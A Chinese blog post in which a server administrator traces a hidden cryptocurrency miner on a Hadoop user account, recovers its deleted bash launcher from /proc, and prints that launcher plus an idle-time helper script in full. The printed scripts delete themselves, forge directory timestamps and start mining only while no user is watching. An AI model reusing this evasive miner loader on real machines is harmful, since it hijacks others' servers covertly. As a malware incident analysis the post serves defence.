服务器病毒之后

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/GodsLeft/article/details/51105177

又是一个病毒?

某一天,我ssh到服务器上,下意识的输入了htop 命令,我的天哪!CPU要爆了这里写图片描述
这个 htral -t 12 居然几乎用掉了所有的CPU,这是hadoop用户的进程,这个用户是禁止外网访问的,而且平常也没有出现过这个进程。很奇怪。

咦,等等。。。这是怎么回事,CPU占用正在下降,这个进程在逐渐消失,为什么!在我还没有反应过来的时候这个进程已经彻底消失了!不过几分钟而已,一切又归于平静,好像什么都没有发生过一样。

我不甘心,我很怀疑,过了一段时间,我又试了一次还是这样的

ps aux | grep htral

# 找父进程
ps ef | grep htral

这里写图片描述

# 既然是hadoop用户的话
ps aux | grep hadoop

# 结果,确实运行着一个奇怪的文件
hadoop   30566  0.0  0.0 106096  1328 ?        S    00:00   0:00 /bin/bash /home/hadoop/.cache/anacache

# 查找文件, 没有该文件!!
cd /home/hadoop/.cache
ll
# 果然文件已经被删除了
lsof | grep anaache

# 不过进程还在
cd /proc/30566/fd
ll

# 居然还创建了一个管道文件
lr-x------. 1 hadoop hadoop 64 49 14:07 0 -> /dev/null
l-wx------. 1 hadoop hadoop 64 49 14:07 1 -> /dev/null
l-wx------. 1 hadoop hadoop 64 49 14:07 2 -> /dev/null
lr-x------. 1 hadoop hadoop 64 49 14:07 255 -> /home/hadoop/.cache/anacache (deleted)
lrwx------. 1 hadoop hadoop 64 49 14:07 3 -> /tmp/fifo

# 恢复文件anacache
cat 255 > /home/left/anacache

解析文件

#!/bin/bash
export PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
rm -rf ~/.cache/anacache
touch -acmr /bin/login ~/.cache
while :; do
    TIME=$(date '+%H%M%S')
    if [ $TIME -ge 90000 -a $TIME -le 91000 ]
    then
        #if working hours
        mkfifo /tmp/fifo
        exec 3<> /tmp/fifo
        killall -9 "htral" 2>/dev/null
        /usr/bin/killall -9 "htral" 2>/dev/null
        read -t 60 -u 3 var
    else
        #if mining hours
        mkfifo /tmp/fifo
        exec 3<> /tmp/fifo
        killall -9 "htral" 2>/dev/null
        /usr/bin/killall -9 "htral" 2>/dev/null
        read -t 2 -u 3 var
        count=$(~/.local/ct)
        if [ $count -lt 3600 ]
        then
            killall -9 "htral" 2>/dev/null
            /usr/bin/killall -9 "htral" 2>/dev/null
            read -t 600 -u 3 var
        else
            killall -9 "htral" 2>/dev/null
            /usr/bin/killall -9 "htral" 2>/dev/null
            cp -f  ~/.local/hrun  ~/.cache/htral 2>/dev/null
            cd ~/.cache;./"htral" -t `cat ~/.cache/mcpu` 2>/dev/null
            rm -rf ~/.cache/htral 2>/dev/null
            rm -rf "htral" 2>/dev/null
            touch -acmr /bin/login ~/.cache
            read -t 300 -u 3 var
        fi
    fi
done

文件第一步,就把自己给删了!同时改变了所处文件夹的时间戳!隐藏了自己的行为
程序中还制作了一个管道文件,但是从未向管道中写入输入,并且即便是写入数据,也没有使用它,我判断是用来做进程暂停用的通过read -t xxx -u 3 var 让进程暂停xxx

程序中的这部分
count=$(~/.local/ct)
万幸的是这个文件并没有被删掉

#!/bin/bash
export PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
PATH=$PATH/usr/bin:/bin:/usr/local/bin:.:/usr:.
w |awk '{
if (NR!=1){
if($5 ~ /days/){
    split($5,d,"days");
    print d[1]*86400" "
}
else if( $5 ~ /:|s/){
    if ($5 ~/s/) { sub(/s/,"",$5); split($5,s,"."); print s[1]" " }
    else if ( $5 ~/m/) { split($5,m,":"); print (m[1]*60+m[2])*60" " }
    else { split($5,m,":"); print m[1]*60+m[2]" " }
}
}}'|sort -n|head -1

这个程序的功能就是,监视用户登录,将w 命令的IDLE 字段提取出来,并进行排序
IDLE 这个字段,如果用户ssh登录的话,其值一般来说都是很小的。
但是有些特殊情况,这个字段的值会很大,例如VNC 登录,打开了一些应用,然后没有关掉应用就退出了VNC 这样你就会看到这个字段的值很大。

count=$(~/.local/ct)
if [ $count -lt 3600 ]
...

所以这段程序的意思就是,如果你有长期的非SSH登录执行的任务的话,它就启动
意思就是,你布置了任务,只要你不监视,就给你搞破坏!!

但是htral 具体执行了什么命令,我并只知道,虽然有这个程序,但是是2进制的

但是我们可以自己执行这个程序,来观察这个程序的行为

# 执行程序
./hrun -t 1

# 程序的输出
[2016-04-09 15:25:35] Using JSON-RPC 2.0
[2016-04-09 15:25:35] Starting Logrotation
[2016-04-09 15:25:35] 1 miner threads started, using 'cryptonight' algorithm.
[root@slave04 .local]# [2016-04-09 15:25:36] Pool set diff to 5000
[2016-04-09 15:25:36] Stratum detected new block
[2016-04-09 15:25:47] Stratum detected new block

百度了一下Stratum 原来这是一个协议,比特币挖掘使用了这个协议,擦!!结合程序的注释,我好像明白了,有人在使用我们的服务器进行比特币的挖掘!!

展开阅读全文

没有更多推荐了,返回首页